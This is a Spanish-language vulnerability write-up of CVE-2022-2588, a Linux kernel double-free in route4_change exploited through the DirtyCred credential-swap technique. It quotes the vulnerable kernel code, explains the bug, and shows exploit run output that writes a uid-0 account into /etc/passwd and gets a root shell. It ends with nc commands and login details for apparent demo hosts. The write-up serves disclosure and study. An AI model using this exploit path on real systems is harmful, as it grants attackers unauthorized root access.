
Análisis detallado y código de explotación para CVE-2022-2588, un use-after-free en el kernel de Linux en route4_change que conduce a una escalada de privilegios mediante double-free e intercambio de credenciales.
El error está corregido en Linux v5.19 mediante este commit.
El bug fue introducido en Linux v3.17 mediante este commit en 2014. Requiere User Namespaces para activarse. Este bug es muy similar a CVE-2021-3715, que fue causado por una operación inadecuada en la lista enlazada de route4_filter. Se pueden encontrar más detalles de CVE-2021-3715 en la charla de BlackHat (página 16). A continuación se presentan algunos detalles breves de CVE-2022-2588.
Lo siguiente muestra algunos fragmentos de código importantes de la función route4_change para entender CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La función está implementada para inicializar/reemplazar el objeto route4_filter. El filtro utiliza handle como un identificador único para distinguir cada filtro. Si existe un handle que ha sido inicializado anteriormente (es decir, la variable fold no es nula), actualizará el filtro eliminando el filtro antiguo y añadiendo uno nuevo; de lo contrario, solo añadirá un nuevo filtro.
En [0], el kernel asigna el objeto route4_filter. En [1], si fold no está vacío, lo que significa que existe un filtro con el mismo handle, copiará alguna información al nuevo filtro e inicializará el nuevo filtro en [2], luego insertará el nuevo filtro en la lista en [3]. Si el filtro antiguo existe, se elimina de la lista en [4] y se libera en [6].
El bug ocurre en [4], que verifica si existe un filtro antiguo para eliminar. La condición asegura que el handle no sea cero y que coincida con el handle del nuevo filtro. Esta condición no coincide con la condición de liberación del filtro en [6], que solo verifica si el filtro antiguo existe. Por lo tanto, si los usuarios crean un filtro cuyo handle es 0 y luego provocan su reemplazo, el filtro no será desenlazado en [4] pero se liberará en [6] ya que sus condiciones no son iguales.
Dado que este bug es similar a CVE-2021-3715, sus primitivas son casi las mismas. Los lectores pueden consultar la charla de BlackHat para una descripción más detallada de las primitivas. Este informe muestra la explotación con la idea de DirtyCred.
Dado que el fold liberado todavía está en la lista enlazada después de desencadenar el bug, podríamos liberar el fold una vez más, lo que eventualmente causará una doble liberación en el objeto route4_filer y en el objeto route4_filter->exts.action si CONFIG_NET_CLS_ACT está habilitado.
Los códigos del exploit utilizan esas dos capacidades de doble liberación para demostrar el ataque a credenciales de tarea (utilizando doble liberación kmalloc-192, próximamente) y credenciales de archivo abierto (utilizando doble liberación kmalloc-256).
Siguiendo la idea de DirtyCred, el código del exploit intercambia la credencial de archivo después de las comprobaciones de permisos, por lo que podríamos escribir cualquier contenido en archivos con permiso de lectura. Idealmente, el código podría funcionar en todas las versiones del kernel afectadas por el bug. Se observa que para asegurar que el código funcione en kernels antiguos donde msg_msg está aislado en kmalloc-rcl-*, el exploit utiliza un objeto de spray diferente.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
El exploit fue escrito para funcionar en tantas distribuciones como sea posible. Se confirmó que funciona en:
(Siéntase libre de enviar un PR para actualizar esto si descubre que funciona en otros kernels.)
Por favor inicia sesión con el usuario low y la contraseña low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338